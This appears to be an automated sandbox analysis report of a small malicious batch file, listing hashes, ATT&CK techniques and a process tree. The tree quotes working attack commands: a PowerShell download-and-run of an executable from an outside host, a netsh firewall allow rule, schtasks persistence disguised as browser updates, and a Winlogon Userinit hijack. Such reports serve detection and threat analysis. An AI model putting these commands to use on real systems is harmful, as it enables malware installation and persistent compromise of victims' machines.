Analysis
-
max time kernel
1796s -
max time network
1799s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
29/08/2024, 17:49
Static task
static1
Behavioral task
behavioral1
Sample
penis.bat
Resource
win10v2004-20240802-en
Behavioral task
behavioral2
Sample
penis.bat
Resource
win11-20240802-en
General
-
Target
penis.bat
-
Size
211B
-
MD5
2c7b4b9e981962a2865f0b402fcbf099
-
SHA1
2836b4f798cdc6a4919cd8f915bda2d71f8423e9
-
SHA256
87093db0124c0b77b6c8c538684a2471266297abef18ec612c2bd5dd2a4edbda
-
SHA512
7356ecdc1b667bbfe8637d05d116e3c9a41648aa53527a84f1e4db455ea8a79774bc3c3232cfbf095fff6b00d90cfd8aab6f23d0f00543d0aca9938ea77316cb
Malware Config
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\xdwdOperaUpdater" updater.exe -
Blocklisted process makes network request 2 IoCs
flow pid Process 6 4656 powershell.exe 11 4656 powershell.exe -
Downloads MZ/PE file
-
Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
-
Executes dropped EXE 3 IoCs
pid Process 1672 updater.exe 2768 xdwdOperaUpdater 4832 xdwdEaDM -
Loads dropped DLL 10 IoCs
pid Process 5052 Process not Found 4316 Process not Found 2984 Process not Found 2768 xdwdOperaUpdater 3644 Process not Found 3404 Process not Found 1944 Process not Found 1540 Process not Found 4832 xdwdEaDM 4324 Process not Found -
pid Process 4656 powershell.exe -
Drops file in Windows directory 6 IoCs
description ioc Process File created C:\Windows\xdwd.dll updater.exe File opened for modification C:\Windows\xdwd.dll updater.exe File opened for modification C:\Windows\xdwdEaDM xdwdOperaUpdater File opened for modification C:\Windows\xdwdEaDM xdwdEaDM File created C:\Windows\xdwdEaDM updater.exe File opened for modification C:\Windows\xdwdEaDM updater.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2768 schtasks.exe 4712 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4656 powershell.exe 4656 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 4656 powershell.exe Token: SeDebugPrivilege 1672 updater.exe Token: SeDebugPrivilege 2768 xdwdOperaUpdater Token: SeIncBasePriorityPrivilege 2768 xdwdOperaUpdater Token: SeDebugPrivilege 4832 xdwdEaDM -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 1140 wrote to memory of 4656 1140 cmd.exe 92 PID 1140 wrote to memory of 4656 1140 cmd.exe 92 PID 1140 wrote to memory of 1672 1140 cmd.exe 96 PID 1140 wrote to memory of 1672 1140 cmd.exe 96 PID 1672 wrote to memory of 5100 1672 updater.exe 104 PID 1672 wrote to memory of 5100 1672 updater.exe 104 PID 1672 wrote to memory of 3956 1672 updater.exe 106 PID 1672 wrote to memory of 3956 1672 updater.exe 106 PID 1672 wrote to memory of 1316 1672 updater.exe 108 PID 1672 wrote to memory of 1316 1672 updater.exe 108 PID 3956 wrote to memory of 4712 3956 cmd.exe 109 PID 3956 wrote to memory of 4712 3956 cmd.exe 109 PID 1316 wrote to memory of 2768 1316 cmd.exe 111 PID 1316 wrote to memory of 2768 1316 cmd.exe 111 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\penis.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1140 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell (new-object System.Net.WebClient).DownloadFile(' https://download.oxy.st/get/faab8adaa31eef0b079c7374e28c17be/test.exe','C:\Windows\Temp\updater.exe')2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4656
-
-
C:\Windows\Temp\updater.exeC:\Windows\Temp\updater.exe2⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\SYSTEM32\CMD.exe"CMD" netsh advfirewall firewall add rule name="f%Q.7#>y7Qx_7C" dir=in action=allow program="C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater" enable=yes & exit3⤵PID:5100
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Google Chrome" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater" /RL HIGHEST & exit3⤵
- Suspicious use of WriteProcessMemory
PID:3956 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 1 /tn "Google Chrome" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater" /RL HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
PID:4712
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "Microsoft Edge" /tr "C:\Windows\xdwdEaDM" /RL HIGHEST & exit3⤵
- Suspicious use of WriteProcessMemory
PID:1316 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "Microsoft Edge" /tr "C:\Windows\xdwdEaDM" /RL HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
PID:2768
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3848,i,2727319350781907497,7925939240893079607,262144 --variations-seed-version --mojo-platform-channel-handle=3000 /prefetch:81⤵PID:4560
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdaterC:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2768
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4372,i,2727319350781907497,7925939240893079607,262144 --variations-seed-version --mojo-platform-channel-handle=4380 /prefetch:81⤵PID:4340
-
C:\Windows\xdwdEaDMC:\Windows\xdwdEaDM1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4832
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Event Triggered Execution
1AppInit DLLs
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
513KB
MD58c36296dee61b4f0612f65d008304a6a
SHA11b1a018cc833b5f281b4871c113678b2e3349613
SHA256ac2b8fbf75ccf1194ee43b1122889125a0923eadd3acacd99dea046aa21e242d
SHA512946541684caec1a14da139f968f7d861750c362fd67976b7a9ebf913ee2f60fead41117ad398c417970bf356ab20cc140a04e4a2311839c4a70b886363f718cf
-
Filesize
136KB
MD516e5a492c9c6ae34c59683be9c51fa31
SHA197031b41f5c56f371c28ae0d62a2df7d585adaba
SHA25635c8d022e1d917f1aabdceae98097ccc072161b302f84c768ca63e4b32ac2b66
SHA51220fd369172ef5e3e2fde388666b42e8fe5f0c2bfa338c0345f45e98af6561a249ba3ecc48c3f16efcc73f02ecb67b3ddb1e2e8f0e77d18fa00ac34e6379e50b6